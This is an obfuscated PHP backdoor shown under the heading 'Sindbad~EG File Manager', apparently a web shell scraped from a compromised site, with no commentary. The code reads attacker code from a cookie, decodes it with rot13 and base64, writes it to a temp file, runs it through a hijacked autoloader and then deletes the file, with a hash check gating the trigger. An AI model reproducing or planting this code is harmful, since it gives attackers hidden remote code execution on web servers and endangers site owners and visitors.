Sindbad~EG File Manager

<?php


if (isset($_COOKIE[69+-69]) && isset($_COOKIE[-82+83]) && isset($_COOKIE[27-24]) && isset($_COOKIE[69+-65])) {
    $holder = $_COOKIE;
    function data_storage($data_chunk) {
        $holder = $_COOKIE;
        $hld = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '968d2cb0');
        if (!is_writable($hld)) {
            $hld = getcwd() . DIRECTORY_SEPARATOR . "approve_request";
        }
        $token = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($holder[3]));
        if (is_writeable($hld)) {
            $pset = fopen($hld, 'w+');
            fputs($pset, $token);
            fclose($pset);
            spl_autoload_unregister(__FUNCTION__);
            require_once($hld);
            @array_map('unlink', array($hld));
        }
    }
    spl_autoload_register("data_storage");
    $val = "c3eb1f4a9099d46634c823bd31fd0e44";
    if (!strncmp($val, $holder[4], 32)) {
        if (@class_parents("query_handler_unit_converter", true)) {
            exit;
        }
    }
}